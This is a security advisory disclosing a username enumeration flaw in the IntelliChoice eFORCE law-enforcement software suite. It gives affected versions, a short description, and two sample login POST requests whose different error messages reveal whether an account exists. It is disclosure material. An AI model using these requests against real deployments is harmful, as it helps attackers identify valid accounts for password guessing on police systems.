IntelliChoice eFORCE Software Suite 2.5.9 - Username Enumeration Vulnerability

# Exploit Title: IntelliChoice eFORCE Software Suite 2.5.9 - Username Enumeration
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.eforcesoftware.com

IntelliChoice eFORCE Software Suite v2.5.9 Username Enumeration


Vendor: IntelliChoice, Inc.
Product web page: https://www.eforcesoftware.com
Affected version: 2.5.9.6
                  2.5.9.5
                  2.5.9.3
                  2.5.9.2
                  2.5.9.1
                  2.5.8.0
                  2.5.7.20
                  2.5.7.18
                  2.5.6.18
                  2.5.4.6
                  2.5.3.11

Summary: IntelliChoice is a United States software company that was
founded in 2003, and offers a software title called eFORCE Software
Suite. eFORCE Software Suite is law enforcement software, and includes
features such as case management, court management, crime scene management,
criminal database, dispatching, evidence management, field reporting,
scheduling, court management integration, certification management,
and incident mapping. With regards to system requirements, eFORCE
Software Suite is available as SaaS, Windows, iPhone, and iPad software.

Desc: The weakness is caused due to the login script and how it verifies
provided credentials. Attacker can use this weakness to enumerate valid
users on the affected application via 'ctl00$MainContent$UserName' POST
parameter.

Tested on: Microsoft-IIS/10.0
           Microsoft-IIS/8.5
           ASP.NET/4.0.30319


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5658
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5658.php


03.05.2021

--


Request/response for existent username:
---------------------------------------

POST /eFORCECommand/Account/Login.aspx HTTP/1.1

__LASTFOCUS: 
__EVENTTARGET: 
__EVENTARGUMENT: 
__VIEWSTATE: Xxx
__VIEWSTATEGENERATOR: 4A5A1A0F
__EVENTVALIDATION: Xxx
ctl00$MainContent$UserName: eforce
ctl00$MainContent$Password: 123456
ctl00$MainContent$btnLogin.x: 20
ctl00$MainContent$btnLogin.y: 7


Response:
Invalid password entered for username eforce.



Request/response for non-existent username:
-------------------------------------------

POST /eFORCECommand/Account/Login.aspx HTTP/1.1

__LASTFOCUS: 
__EVENTTARGET: 
__EVENTARGUMENT: 
__VIEWSTATE: Xxx
__VIEWSTATEGENERATOR: 4A5A1A0F
__EVENTVALIDATION: Xxx
ctl00$MainContent$UserName: testingus
ctl00$MainContent$Password: 123456
ctl00$MainContent$btnLogin.x: 20
ctl00$MainContent$btnLogin.y: 7


Response:
Unable to login: User name testingus is not registered.